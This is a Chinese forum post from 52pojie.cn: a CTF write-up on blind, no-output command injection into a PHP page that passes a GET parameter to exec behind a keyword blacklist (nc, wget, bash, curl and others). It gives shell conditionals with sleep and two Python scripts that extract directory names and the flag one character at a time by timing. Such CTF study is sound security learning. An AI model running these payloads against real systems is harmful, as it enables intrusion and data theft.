吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3362|回复: 8
收起左侧

[CTF] 【CTF】Linux下命令行注入无回显盲注wp

[复制链接]
孤樱懶契 发表于 2021-10-13 22:13
本帖最后由 孤樱懶契 于 2021-10-23 22:49 编辑

前言

记录web的题目wp,慢慢变强,铸剑。

命令行之无回显注入web

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

禁止了文件写入权限,所以tee已经无法使用,这里考虑用if和sleep来进行命令行盲注

利用shell编程的if判断语句配合awk以及cut命令来获取flag

1、awk逐行获取数据

image-20211006092556115

2、cut命令逐列获取单个字符第一行

image-20211006092655551

3、利用条件判断语句是否执行

if [ $(cat flag.txt | awk NR==1 | cut -c 2) == l ]; then echo "got it";fi

php中`可以当exec使用
if [ `cat flag.txt | awk NR==1 | cut -c 2` == l ; then echo "got it";fi

image-20211007211803396

4、写一个脚本判断根目录的名称

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/10/07
# blog: gylq.gitee.io

import requests
import time

url = "http://89e63d88-3a32-4b94-a05d-0270f5795caf.challenge.ctf.show:8080/"

p_result = ""

for i in range(1, 5):
    for j in range(1, 68):
        for k in range(32, 128):
            k = chr(k)
            payload = "?c=" + "if [ `ls / | awk NR=={} | cut -c {}` == {} ]; then sleep 2;fi".format(i,j,k)
            try:
                requests.get(url=url + payload, timeout=(1.5, 1.5))
            except:
                p_result += k
                print("【-】 ls /盲注:]".format(j))
                print("【*】 p_result is context")
                print(p_result)

    p_result += " "

5、经过长时间的注入,发现flag的目录/f149_15_h3r3,接着改一下数值和命令直接拿flag,跑起来很慢,这点需要注意。

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/10/07
# blog: gylq.gitee.io

import requests

url = "http://89e63d88-3a32-4b94-a05d-0270f5795caf.challenge.ctf.show:8080/"

p_result = ""

for i in range(1, 5):
    for j in range(1, 68):
        for k in range(32, 128):
            k = chr(k)
            payload = "?c=" + "if [ `cat /f149_15_h3r3 | awk NR=={} | cut -c {}` == {} ]; then sleep 2;fi".format(i,j,k)
            try:
                requests.get(url=url + payload, timeout=(1.5, 1.5))
            except:
                p_result += k
                print("【-】 ls /盲注:]".format(j))
                print("【*】 p_result is context")
                print(p_result)

    p_result += " "

image-20211007222132772

免费评分

参与人数 4吾爱币 +10 热心值 +4 收起 理由
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
笙若 + 1 + 1 谢谢@Thanks!
JuncoJet + 1 + 1 外链大丈夫?
Lucifer_BW + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

djxz 发表于 2021-10-13 23:15
板凳~~~已收藏楼主博客~~学习~
GuiXiaoQi 发表于 2021-10-14 08:12
jerryfj 发表于 2021-10-14 14:12
dixiu 发表于 2021-10-14 16:32
学习了,今天不学习,明天变lj!
qujf 发表于 2021-10-15 13:46
学习学习
QingRemix 发表于 2021-10-15 22:17
学习了学习了
头像被屏蔽
yyspawn 发表于 2021-10-18 06:07
提示: 作者被禁止或删除 内容自动屏蔽
WJ下士 发表于 2021-10-18 10:55
支持技术开发
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-16 03:25

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表